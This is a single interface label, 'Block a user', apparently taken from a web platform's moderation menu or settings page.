Block a user